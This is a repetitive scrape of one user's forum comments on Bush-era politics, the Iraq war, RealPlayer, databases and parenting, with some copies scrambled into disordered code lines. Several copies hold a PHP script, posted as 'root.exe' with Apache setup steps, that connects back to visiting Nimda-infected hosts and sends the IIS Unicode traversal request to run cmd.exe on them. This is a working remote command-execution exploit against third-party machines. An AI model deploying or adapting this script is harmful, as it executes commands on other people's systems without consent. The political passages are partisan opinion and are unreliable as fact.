Yeah, it's almost like 9/11 and the Clinton Recession hurt our economy.
Oh wait, we're not supposed to take those into consideration. Carry on with the gratuitous back-patting, Bush haters. I'd hate to see you actually weigh every piece of the equation.
We have (essentially) pulled out of the Kyoto accord.
We were never going to stay with Kyoto, and gladly so. It is heavy-handed, unfair, and according to Clinton's aides after the fact would have been too costly to adhere to. Bush had to do what he had to do to protect America. You guys bitch about jobs and the economy? If we signed Kyoto you'd be moving to India.
We've gutted federal water quality standards regarding arsenic and heavy metal contamination.
A recent study by California-Berkeley found that there is no connection between the current allowable Arsenic levels in drinking water and bladder cancer. The level set by Clinton in the twilight hours of his administration were artificially low and overpoliticized. It's junk science and the left is eating it up.
We cut funding to international family-planning organizations that conduct abortion counseling.
Heaven forbid our tax dollars stay in the US. Heaven forbid our tax dollars aren't spent promoting something that a majority of Americans abhor. This is the difference between the Left and the Right (and Libertarians). You almost sound like these other countries are entitled to our money. Well I for one would like to keep my own money and give it where I see fit. You would rather the government decides for everyone else.
We're proposing new road-building into Wilderness Areas.
Please don't visit any state parks, then. Consistency, remember. Or drive to your house, which was once a wilderness area.
We've made it much more difficult to declare certain types of bankruptcy.
I don't know much about these details, but right off the top of my head I think declaring bankruptcy should be difficult. It should be a last resort. You do know that bankruptcy hurts the economy, right? It's a bad thing.
We've hobbled basic stem-cell research, in the name of "pro-life" activism.
What a whopper! FYI, Bush approved federal funding for stem cell research. He didn't "hobble" it. There was no federal funding for stem cell research before Bush came into office, so how this "hobbles" research, I'll never know.
A burro can ask more questions than a wise man can answer
Okay, many people out there hate Real for their past. I've been using Real since back in the day, too, and have had the same complaints. But, I have been using RealPlayer 10 (the latest update to RealOne player) and I will say it leaves little left to complain about.
First, the annoying Adware defaults to off, except for alerts relating to software updates. You can shut those off, too (you couldn't in the past) simply by clicking on the "View Real Message Center" icon, then click on "Options -> Customize Message Center" and uncheck Software Updates, then click Save Changes. No more popups.
And if you're really paranoid (I am) you can go to Tools->Preferences, then navigate to Connection->Internet/Privacy and uncheck all the privacy settings. You're anonymous.
What do you have left? A great player that can play anything except Ogg Vorbis (which pains me, believe me). But it plays iTunes AAC files, MPEG4, MP3, AVI, QuickTime, DVDs, CDs, RealAudio/Video, WAV, Windows Media, AIFF, and more.
I bought 7 songs from Real's music store this week and I couldn't be happier. The downloads were fast, the quality incredible (192 Kbps AAC files compared with iTune's 128 Kbps AAC files and Napster's 128 Kbps WMA files) and has the best, most liberal license for its users IMHO.
I've also heard people say that Real is Linux-Unfriendly. WHA? It's the only company that makes a Linux client. There is no Windows Media Player or iTunes for Linux, but there is a RealPlayer for Linux. In fact, it allows you to play your Apple iTunes music on your Linux box. I think that's very Linux-friendly.
Most of us are all about Open Source (as in Free Speech, and oftimes Free Beer). But when a product comes out that will give its users more control over what it plays, slashdotters cry foul. "Censorship! Mayhem! People that want to have a little control over what their children see and hear are uptight idiots!"
This has nothing to do with copyrights. It has everything to do with making fun of people who recognize that what we and our children watch affect us. Is it censorship if you rip pages out of book YOU own?
My quarrel is with the conclusion that therefore, parents who get involved with their education improve students performance. Just because the two coincide does not necessarily mean that one causes the other (or even makes the other more likely to occur).
I see what you're saying. And yes, I note that my informal link/causation does not happen in 100% of the circumstances.
I'll bet, however, that if you put 100 kids in 100 different rooms and had them do their homework for 10 weeks with no parental intervention at all, you'd see pretty average grades. Then, let's say you ran the same study for another 10 weeks, but this time there would be parents there, asking the students if their homework was done, helping them with any problems they have, making sure they are not acting up in class, etc., that the grades overall would improve. In fact, I'd be willing to bet that 90% of the students' grades would go up, while the other 10% would stay the same or go down.
Even if it were.5% raise in grade, that's an improvement.
Think about it: If your parents just asked you to check over your work one more time, and held you to it, you would find errors and improve them. Not on every assignment, but some of your assignments. What does that equate to? Better grades, my friend. Better grades.
I got okay grades in school, but my parents were not really involved...mainly because I got A's and B's. If they had me check my work over again and if they knew I wasn't studying for the Physics test tomorrow and told me I better hit the books--I guarantee you my grades would have been better.
I agree, some students would fight their parents on this. I probably would too, to some extent. But, overall (yes this is a generalizatiion), my grades would have been better, as I'd imagine most kids would.
So, I guess I'm saying there is a link between involved parents and students with high grades. It's not a law, but a good rule of thumb.
Your anecdotal evidence aside, if you ask teachers about this, they'd agree with me. They're the ones that deal with large groups of kids.
My wife (a High School math teacher) will tell you that her best students usually have parents who are involved with their children's schoolwork. This will make it easier for parents and teachers to help encourage their kids to learn.
Something like this would make both the teacher's and parent's job much easier. The teacher doesn't have to arrange as many meetings with parents (only the parents of really problem kids) and the parent doesn't need to rely on the student for accurate information about their conduct, homework, and grades. I was in High School, too.
I hope people realize that parents that make sure their kids work hard in high school are all too rare these days, and it's a blessing to have them. Just ask the students in my wife's Geometry class.
But maybe it's too hard to see that not all issues are black and white when you're trying to reduce the entire world to "good guys" and "bad guys."
I think the problem is people see too much gray so that it paralyzes them. You clearly want to ignore what Hussein is doing. You may not defend him, but you don't want to do anything about it either. You want to send in more inspectors, then? Longer deadlines? Those are your solutions? I pity people who do not see black and white. You can sit there and say "well, it's a complicated issue" until you're blue in the face, but nothing gets done.
You never refuted any of the charges levied against Saddam. In fact, you seem to agree that he's a terrible leader. I think it's you who has missed the point.
North Korea, by the way, had U.N. inspectors. North Korea promised to be good. We appeased Kim-Jong Il. Look, where that got us.
Sometimes appeasement is not the answer, my friend. This is one of those times.
It's not about the country. It's about being a member of the world community. Iraq is a soverign nation. now that the bush administration has bumbled its way across the ideal of sovereignty, no nation can feel safe.
So sovereign must mean always right in your eyes? What must Saddam do to ever justify taking the guy down?
How about using VX gas--the most deadly chemical weapon on earth--against his own people is OK...because Iraq is a sovereign nation.
Dumping thousands of gallons of oil--several times more than the Exxon Valdez--into the Persian Gulf after Gulf War 1 is okay--because Iraq is a sovereign nation.
Lighting up hundreds of oil wells, causing untold environmental damage was okay--because Iraq is a sovereign nation.
Violating all 18 of the UN sanctions--need I mention Resolution 1441 passed unanimously? And in Resolution 1441 it said disarm or suffer grave consequences (Did you think grave consequences meant--more time for the inspectors?). Anyway, all this is okay--because Iraq is a sovereign nation.
Trying to assassinate George H.W. Bush in 1993 was okay--because Iraq is a sovereign nation.
How about cutting up your own minister of Health into pieces and giving them to his wife. Is that okay? Of course it is--because Iraq is a sovereign nation.
Yup, I guess we're the bad guys, aren't we? You make me sick if you believe the crap the left shoves down your throat. For crying out loud, think man! Use your friggin' brain. This guy is a madman. Watch the news. Ignore the vomiting communists in San Francisco and see the Iraqis celebrating in the streets that the Americans have come to remove this modern-day Hitler from power.
Mark my words, political scientists will be studying George W. Bush's presidency. Not because he was rash and didn't care about the world. No, because he did what was right. Bit the bullet, didn't pass the buck, and made the hard choices that made the world a better place for the whole world.
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He assumes Windows XP/2k ect are still built on top of DOS.
No, Cringely's exact words were:
Even today, you can still get to a C: prompt under Windows XP, which means a disk operating system is hiding there no matter what Microsoft wants us to believe.
He's not saying it's built on top of DOS. He's saying it's built on top of an underlying disk operating system. It isn't DOS, but an operating system responsible for handling system calls and what have you. The C: prompt is just a low power shell that helps you interact with the underlying Operating System. The GUI doesn't need to be running at the same time as the Operating System. I guarantee explorer.exe is not running when you boot to the C: prompt.
Microsoft has duped people into confusing the clickey-click cartoon world of Windows is the actual Operating System. It's not. It's a windowing environment. The operating system is underneath--it handles all the system calls.
Cringely is saying replace the underneath part with Linux. Not the clickey-click. The underneath. You just change some #include's in gui.c, tweak a few macros, and it should be possible. Not easy, but possible. It won't happen, but it's fun to think about the possibilities, isn't it?
So the FBI is saying it would have been better to hack the computers and keep quiet about it?
In the future, another company or individual may do the same thing, and then. . . keep their mouth shut.
I agree, just shooting their mouth to the whole country about getting into the network wasn't wise. They probably should have contacted the government secretly, but this raid may scare off any potential tipsters in the future from sharing knowledge.
I wondered the same thing! I love PostgreSQL and there's no reason it shouldn't be kicking the crap out of mySQL. But then it hit me.
I believe what made mySQL take off was when mySQL AB released easy to install packages for windows about the same time that PHP and Apache were becoming accessible to the Windows user. That way freelance web developers and new hackers were trying the stuff out at home and Windows and *nix users were programming on the same platform (PHP/mySQL on Apache).
Today, if you want to download PostgreSQL, you have two choices on their website. Tarball or RPM. Joe Clickey-Click doesn't want or need the trouble. All he wants to do is make a guestbook for his website.
Look at what Joe Clickey-Click sees when he would like to try out either PostgreSQL or mySQL.
If you saw two guys named Hambone and Flippy, which one would you think liked dolphins the most? I'd say Flippy, wouldn't you? You'd be wrong, though. It's Hambone.
So I guess my vote is for Flippy. And then we can make a new mascot--Flippy's trainer. And that guy will be named "Hambone."
Yes, I think Deep Thoughts are funny. No, I'm not obsessed. Am I?
And they are giving us a job. I mean let's say people stop opening up these attachments for good. Not a single email worm was ever received again. That's a lot of work or billable hours that will be eliminated for the computer industry.
Not that I don't hate having to remove them for the people that click on the friggin' things, but hey, someone's got to do it.
I made a PHP script, by modifying a similar one used for Code Red. First make a "scripts" directory in your web server's root directory. Now put this into a file called "root.exe"
<?php
/* Open a connection to the offender */
$fp = fsockopen($REMOTE_ADDR, 80, $en, $es, 5);
/* Check to see if the connection actually opened */
if ($fp)
{
/* URL-encode the message... */
$string = urlencode("net send %COMPUTERNAME% WARNING: The NIMDA worm has been detected on your computer. Please shut down the IIS web server that is currently running and keep it disabled until you can patch and/or re-install your system, or better yet, upgrade to Linux or FreeBSD. Visit http://www.kb.cert.org/vuls/id/111677 for more information.");
/*...and send it */
fputs ($fp, "GET/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/syst em32/cmd.exe?/c+$string HTTP/1.0\n\n");
/* close the connection (though it probably got closed automatically) */
fclose ($fp);
}
/* for fun and confusion.. */
header ("HTTP/1.0 404");
echo ("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n");
echo ("<html><head>\n<title>404 Not Found</title>\n</head></body>\n" );
echo ("<h1>Not Found</h1>\n");
echo ("The requested URL $SCRIPT_NAME was not found on this server.\n");
echo ("</body></html>\n");
echo ("<address>Apache/1.3.20 Server at $SERVER_NAME Port $SERVER_PORT</address>\n");
echo ("</body></html>\n");
$res = "dirty\r\n";
$log = fopen("/tmp/nimda.log", "a");
fwrite($log, $REMOTE_ADDR . " " . date("D, d M Y H:i:s T") . " - " . $res);
fclose($log);
?>
Then, (after making sure users can access the file.. try going to http://machine/scripts/root.exe. It's going to print out the contents of that file. You want to change that, right?
Well here's how you change that. Edit your httpd.conf file (/etc/httpd.conf,/usr/local/apache/httpd.conf, whatever it is) and put this type in like this:
AddType application/x-httpd-php.php.php3.exe
Now restart Apache by issuing one of either:
/etc/rc.d/init.d/httpd restart
apachectl restart
That should do it, and you're going to have a logfile of all the people who have been warned in/tmp/nimba.log.
I made a PHP script, by modifying a similar one used for Code Red. First make a "scripts" directory in your web server's root directory. Now put this into a file called "root.exe"
<?php
/* Open a connection to the offender */
$fp = fsockopen($REMOTE_ADDR, 80, $en, $es, 5);
/* Check to see if the connection actually opened */
if ($fp)
{
/* URL-encode the message... */
$string = urlencode("net send %COMPUTERNAME% WARNING: The NIMDA worm has been detected on your computer. Please shut down the IIS web server that is currently running and keep it disabled until you can patch and/or re-install your system, or better yet, upgrade to Linux or FreeBSD. Visit http://www.kb.cert.org/vuls/id/111677 for more information.");
/*...and send it */
fputs ($fp, "GET/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/syst em32/cmd.exe?/c+$string HTTP/1.0\n\n");
/* close the connection (though it probably got closed automatically) */
fclose ($fp);
}
/* for fun and confusion.. */
header ("HTTP/1.0 404");
echo ("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n");
echo ("<html><head>\n<title>404 Not Found</title>\n</head></body>\n" );
echo ("<h1>Not Found</h1>\n");
echo ("The requested URL $SCRIPT_NAME was not found on this server.\n");
echo ("</body></html>\n");
echo ("<address>Apache/1.3.20 Server at $SERVER_NAME Port $SERVER_PORT</address>\n");
echo ("</body></html>\n");
$res = "dirty\r\n";
$log = fopen("/tmp/nimda.log", "a");
fwrite($log, $REMOTE_ADDR . " " . date("D, d M Y H:i:s T") . " - " . $res);
fclose($log);
?>
Then, (after making sure users can access the file.. try going to http://machine/scripts/root.exe. It's going to print out the contents of that file. You want to change that, right?
Well here's how you change that. Edit your httpd.conf file (/etc/httpd.conf,/usr/local/apache/httpd.conf, whatever it is) and put this type in like this:
AddType application/x-httpd-php.php.php3.exe
That should do it, and you're going to have a logfile of all the people who have been warned in/tmp/nimba.log.
I think we need to redesign planes with two doors. One for pilots and one for passengers. That way it will be physically impossible for a passenger to get into the cockpit and vice versa.
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Yeah, it's almost like 9/11 and the Clinton Recession hurt our economy.
Oh wait, we're not supposed to take those into consideration. Carry on with the gratuitous back-patting, Bush haters. I'd hate to see you actually weigh every piece of the equation.
We have (essentially) pulled out of the Kyoto accord.
We were never going to stay with Kyoto, and gladly so. It is heavy-handed, unfair, and according to Clinton's aides after the fact would have been too costly to adhere to. Bush had to do what he had to do to protect America. You guys bitch about jobs and the economy? If we signed Kyoto you'd be moving to India.
We've gutted federal water quality standards regarding arsenic and heavy metal contamination.
A recent study by California-Berkeley found that there is no connection between the current allowable Arsenic levels in drinking water and bladder cancer. The level set by Clinton in the twilight hours of his administration were artificially low and overpoliticized. It's junk science and the left is eating it up.
We cut funding to international family-planning organizations that conduct abortion counseling.
Heaven forbid our tax dollars stay in the US. Heaven forbid our tax dollars aren't spent promoting something that a majority of Americans abhor. This is the difference between the Left and the Right (and Libertarians). You almost sound like these other countries are entitled to our money. Well I for one would like to keep my own money and give it where I see fit. You would rather the government decides for everyone else.
We're proposing new road-building into Wilderness Areas.
Please don't visit any state parks, then. Consistency, remember. Or drive to your house, which was once a wilderness area.
We've made it much more difficult to declare certain types of bankruptcy.
I don't know much about these details, but right off the top of my head I think declaring bankruptcy should be difficult. It should be a last resort. You do know that bankruptcy hurts the economy, right? It's a bad thing.
We've hobbled basic stem-cell research, in the name of "pro-life" activism.
What a whopper! FYI, Bush approved federal funding for stem cell research. He didn't "hobble" it. There was no federal funding for stem cell research before Bush came into office, so how this "hobbles" research, I'll never know.
A burro can ask more questions than a wise man can answer
You do know what a false dichotomy is, right?
I always thought Peasant's Quest sucked even worse than Rabbit Algebra. It only featured 16 colors and 2 bit mono internal PC Speaker sound.
Peasant's Quest
Also, Strongbad reviewed the games he would make if he could. They all sucked too.
SB Emails
Okay, many people out there hate Real for their past. I've been using Real since back in the day, too, and have had the same complaints. But, I have been using RealPlayer 10 (the latest update to RealOne player) and I will say it leaves little left to complain about.
First, the annoying Adware defaults to off, except for alerts relating to software updates. You can shut those off, too (you couldn't in the past) simply by clicking on the "View Real Message Center" icon, then click on "Options -> Customize Message Center" and uncheck Software Updates, then click Save Changes. No more popups.
And if you're really paranoid (I am) you can go to Tools->Preferences, then navigate to Connection->Internet/Privacy and uncheck all the privacy settings. You're anonymous.
What do you have left? A great player that can play anything except Ogg Vorbis (which pains me, believe me). But it plays iTunes AAC files, MPEG4, MP3, AVI, QuickTime, DVDs, CDs, RealAudio/Video, WAV, Windows Media, AIFF, and more.
I bought 7 songs from Real's music store this week and I couldn't be happier. The downloads were fast, the quality incredible (192 Kbps AAC files compared with iTune's 128 Kbps AAC files and Napster's 128 Kbps WMA files) and has the best, most liberal license for its users IMHO.
I've also heard people say that Real is Linux-Unfriendly. WHA? It's the only company that makes a Linux client. There is no Windows Media Player or iTunes for Linux, but there is a RealPlayer for Linux. In fact, it allows you to play your Apple iTunes music on your Linux box. I think that's very Linux-friendly.
Happy Real Customer tryin' to keep it real....
(Time to burn up some Karma)
Slashdotters are so funny.
Most of us are all about Open Source (as in Free Speech, and oftimes Free Beer). But when a product comes out that will give its users more control over what it plays, slashdotters cry foul. "Censorship! Mayhem! People that want to have a little control over what their children see and hear are uptight idiots!"
This has nothing to do with copyrights. It has everything to do with making fun of people who recognize that what we and our children watch affect us. Is it censorship if you rip pages out of book YOU own?
Nope. And neither is this RCA DVD player.
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My quarrel is with the conclusion that therefore, parents who get involved with their education improve students performance. Just because the two coincide does not necessarily mean that one causes the other (or even makes the other more likely to occur).
.5% raise in grade, that's an improvement.
I see what you're saying. And yes, I note that my informal link/causation does not happen in 100% of the circumstances.
I'll bet, however, that if you put 100 kids in 100 different rooms and had them do their homework for 10 weeks with no parental intervention at all, you'd see pretty average grades. Then, let's say you ran the same study for another 10 weeks, but this time there would be parents there, asking the students if their homework was done, helping them with any problems they have, making sure they are not acting up in class, etc., that the grades overall would improve. In fact, I'd be willing to bet that 90% of the students' grades would go up, while the other 10% would stay the same or go down.
Even if it were
Think about it: If your parents just asked you to check over your work one more time, and held you to it, you would find errors and improve them. Not on every assignment, but some of your assignments. What does that equate to? Better grades, my friend. Better grades.
I got okay grades in school, but my parents were not really involved...mainly because I got A's and B's. If they had me check my work over again and if they knew I wasn't studying for the Physics test tomorrow and told me I better hit the books--I guarantee you my grades would have been better.
I agree, some students would fight their parents on this. I probably would too, to some extent. But, overall (yes this is a generalizatiion), my grades would have been better, as I'd imagine most kids would.
So, I guess I'm saying there is a link between involved parents and students with high grades. It's not a law, but a good rule of thumb.
Your anecdotal evidence aside, if you ask teachers about this, they'd agree with me. They're the ones that deal with large groups of kids.
Note the word "usually" in my statement.
I didn't say always.
My wife (a High School math teacher) will tell you that her best students usually have parents who are involved with their children's schoolwork. This will make it easier for parents and teachers to help encourage their kids to learn.
Something like this would make both the teacher's and parent's job much easier. The teacher doesn't have to arrange as many meetings with parents (only the parents of really problem kids) and the parent doesn't need to rely on the student for accurate information about their conduct, homework, and grades. I was in High School, too.
I hope people realize that parents that make sure their kids work hard in high school are all too rare these days, and it's a blessing to have them.
Just ask the students in my wife's Geometry class.
But maybe it's too hard to see that not all issues are black and white when you're trying to reduce the entire world to "good guys" and "bad guys."
I think the problem is people see too much gray so that it paralyzes them. You clearly want to ignore what Hussein is doing. You may not defend him, but you don't want to do anything about it either. You want to send in more inspectors, then? Longer deadlines? Those are your solutions? I pity people who do not see black and white. You can sit there and say "well, it's a complicated issue" until you're blue in the face, but nothing gets done.
You never refuted any of the charges levied against Saddam. In fact, you seem to agree that he's a terrible leader. I think it's you who has missed the point.
North Korea, by the way, had U.N. inspectors. North Korea promised to be good. We appeased Kim-Jong Il. Look, where that got us.
Sometimes appeasement is not the answer, my friend. This is one of those times.
It's not about the country. It's about being a member of the world community. Iraq is a soverign nation. now that the bush administration has bumbled its way across the ideal of sovereignty, no nation can feel safe.
So sovereign must mean always right in your eyes? What must Saddam do to ever justify taking the guy down?
How about using VX gas--the most deadly chemical weapon on earth--against his own people is OK...because Iraq is a sovereign nation.
Dumping thousands of gallons of oil--several times more than the Exxon Valdez--into the Persian Gulf after Gulf War 1 is okay--because Iraq is a sovereign nation.
Lighting up hundreds of oil wells, causing untold environmental damage was okay--because Iraq is a sovereign nation.
Violating all 18 of the UN sanctions--need I mention Resolution 1441 passed unanimously? And in Resolution 1441 it said disarm or suffer grave consequences (Did you think grave consequences meant--more time for the inspectors?). Anyway, all this is okay--because Iraq is a sovereign nation.
Trying to assassinate George H.W. Bush in 1993 was okay--because Iraq is a sovereign nation.
How about cutting
up your own minister of Health into pieces and giving them to his wife. Is that okay? Of course it is--because Iraq is a sovereign nation.
Yup, I guess we're the bad guys, aren't we? You make me sick if you believe the crap the left shoves down your throat. For crying out loud, think man! Use your friggin' brain. This guy is a madman. Watch the news. Ignore the vomiting communists in San Francisco and see the Iraqis celebrating in the streets that the Americans have come to remove this modern-day Hitler from power.
Mark my words, political scientists will be studying George W. Bush's presidency. Not because he was rash and didn't care about the world. No, because he did what was right. Bit the bullet, didn't pass the buck, and made the hard choices that made the world a better place for the whole world.
Oh, by the way. . . Boycott France.
On the last free page:
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So it isn't free.
He assumes Windows XP/2k ect are still built on top of DOS.
No, Cringely's exact words were:
Even today, you can still get to a C: prompt under Windows XP, which means a disk operating system is hiding there no matter what Microsoft wants us to believe.
He's not saying it's built on top of DOS. He's saying it's built on top of an underlying disk operating system. It isn't DOS, but an operating system responsible for handling system calls and what have you. The C: prompt is just a low power shell that helps you interact with the underlying Operating System. The GUI doesn't need to be running at the same time as the Operating System. I guarantee explorer.exe is not running when you boot to the C: prompt.
Microsoft has duped people into confusing the clickey-click cartoon world of Windows is the actual Operating System. It's not. It's a windowing environment. The operating system is underneath--it handles all the system calls.
Cringely is saying replace the underneath part with Linux. Not the clickey-click. The underneath. You just change some #include's in gui.c, tweak a few macros, and it should be possible. Not easy, but possible. It won't happen, but it's fun to think about the possibilities, isn't it?
So the FBI is saying it would have been better to hack the computers and keep quiet about it?
In the future, another company or individual may do the same thing, and then. . . keep their mouth shut.
I agree, just shooting their mouth to the whole country about getting into the network wasn't wise. They probably should have contacted the government secretly, but this raid may scare off any potential tipsters in the future from sharing knowledge.
I wondered the same thing! I love PostgreSQL and there's no reason it shouldn't be kicking the crap out of mySQL. But then it hit me.
I believe what made mySQL take off was when mySQL AB released easy to install packages for windows about the same time that PHP and Apache were becoming accessible to the Windows user. That way freelance web developers and new hackers were trying the stuff out at home and Windows and *nix users were programming on the same platform (PHP/mySQL on Apache).
Today, if you want to download PostgreSQL, you have two choices on their website. Tarball or RPM. Joe Clickey-Click doesn't want or need the trouble. All he wants to do is make a guestbook for his website.
Look at what Joe Clickey-Click sees when he would like to try out either
PostgreSQL or
mySQL.
You may want to keep around the install for RC1. . . I have trouble with RC2 and RC3's popups etc.
For example, when I click on a page that has a popup window with content in it (a requested popup) it doesn't show up.
I also chose "Allow Javascript to Open Unrequested Windows" too, still no dice.
Anyone else have these problems?
I, for one, would be very perturbed if it recorded the program instead of another program I wanted it to record.
I doubt it will actually happen (because MS will fight it this to the end)
Because they don't want to see the public to see that all the variables are global and see all the gotos..
If you saw two guys named Hambone and Flippy, which one would you think liked dolphins the most? I'd say Flippy, wouldn't you? You'd be wrong, though. It's Hambone.
So I guess my vote is for Flippy. And then we can make a new mascot--Flippy's trainer. And that guy will be named "Hambone."
Yes, I think Deep Thoughts are funny. No, I'm not obsessed. Am I?
And they are giving us a job. I mean let's say people stop opening up these attachments for good. Not a single email worm was ever received again. That's a lot of work or billable hours that will be eliminated for the computer industry.
Not that I don't hate having to remove them for the people that click on the friggin' things, but hey, someone's got to do it.
I made a PHP script, by modifying a similar one used for Code Red. First make a "scripts" directory in your web server's root directory. Now put this into a file called "root.exe"
/* Check to see if the connection actually opened */
/* URL-encode the message... */
/* ...and send it */
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/syst em32/cmd.exe?/c+$string HTTP/1.0\n\n");
/* close the connection (though it probably got closed automatically) */
/usr/local/apache/httpd.conf, whatever it is) and put this type in like this:
.php .php3 .exe
/tmp/nimba.log.
<?php
/* Open a connection to the offender */
$fp = fsockopen($REMOTE_ADDR, 80, $en, $es, 5);
if ($fp)
{
$string = urlencode("net send %COMPUTERNAME% WARNING: The NIMDA worm has been detected on your computer. Please shut down the IIS web server that is currently running and keep it disabled until you can patch and/or re-install your system, or better yet, upgrade to Linux or FreeBSD. Visit http://www.kb.cert.org/vuls/id/111677 for more information.");
fputs ($fp, "GET
fclose ($fp);
}
/* for fun and confusion.. */
header ("HTTP/1.0 404");
echo ("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n");
echo ("<html><head>\n<title>404 Not Found</title>\n</head></body>\n" );
echo ("<h1>Not Found</h1>\n");
echo ("The requested URL $SCRIPT_NAME was not found on this server.\n");
echo ("</body></html>\n");
echo ("<address>Apache/1.3.20 Server at $SERVER_NAME Port $SERVER_PORT</address>\n");
echo ("</body></html>\n");
$res = "dirty\r\n";
$log = fopen("/tmp/nimda.log", "a");
fwrite($log, $REMOTE_ADDR . " " . date("D, d M Y H:i:s T") . " - " . $res);
fclose($log);
?>
Then, (after making sure users can access the file.. try going to http://machine/scripts/root.exe. It's going to print out the contents of that file. You want to change that, right?
Well here's how you change that. Edit your httpd.conf file (/etc/httpd.conf,
AddType application/x-httpd-php
Now restart Apache by issuing one of either:
/etc/rc.d/init.d/httpd restart
apachectl restart
That should do it, and you're going to have a logfile of all the people who have been warned in
Oh yeah, make sure you restart apache when you're done. . .
.exe extension will be handled by PHP.
/etc/rc.d/init.d/httpd restart
-- or --
apachectl restart
That way the
I made a PHP script, by modifying a similar one used for Code Red. First make a "scripts" directory in your web server's root directory. Now put this into a file called "root.exe"
/* Check to see if the connection actually opened */
/* URL-encode the message... */
/* ...and send it */
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/syst em32/cmd.exe?/c+$string HTTP/1.0\n\n");
/* close the connection (though it probably got closed automatically) */
/usr/local/apache/httpd.conf, whatever it is) and put this type in like this:
.php .php3 .exe
/tmp/nimba.log.
<?php
/* Open a connection to the offender */
$fp = fsockopen($REMOTE_ADDR, 80, $en, $es, 5);
if ($fp)
{
$string = urlencode("net send %COMPUTERNAME% WARNING: The NIMDA worm has been detected on your computer. Please shut down the IIS web server that is currently running and keep it disabled until you can patch and/or re-install your system, or better yet, upgrade to Linux or FreeBSD. Visit http://www.kb.cert.org/vuls/id/111677 for more information.");
fputs ($fp, "GET
fclose ($fp);
}
/* for fun and confusion.. */
header ("HTTP/1.0 404");
echo ("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n");
echo ("<html><head>\n<title>404 Not Found</title>\n</head></body>\n" );
echo ("<h1>Not Found</h1>\n");
echo ("The requested URL $SCRIPT_NAME was not found on this server.\n");
echo ("</body></html>\n");
echo ("<address>Apache/1.3.20 Server at $SERVER_NAME Port $SERVER_PORT</address>\n");
echo ("</body></html>\n");
$res = "dirty\r\n";
$log = fopen("/tmp/nimda.log", "a");
fwrite($log, $REMOTE_ADDR . " " . date("D, d M Y H:i:s T") . " - " . $res);
fclose($log);
?>
Then, (after making sure users can access the file.. try going to http://machine/scripts/root.exe. It's going to print out the contents of that file. You want to change that, right?
Well here's how you change that. Edit your httpd.conf file (/etc/httpd.conf,
AddType application/x-httpd-php
That should do it, and you're going to have a logfile of all the people who have been warned in
I think we need to redesign planes with two doors. One for pilots and one for passengers. That way it will be physically impossible for a passenger to get into the cockpit and vice versa.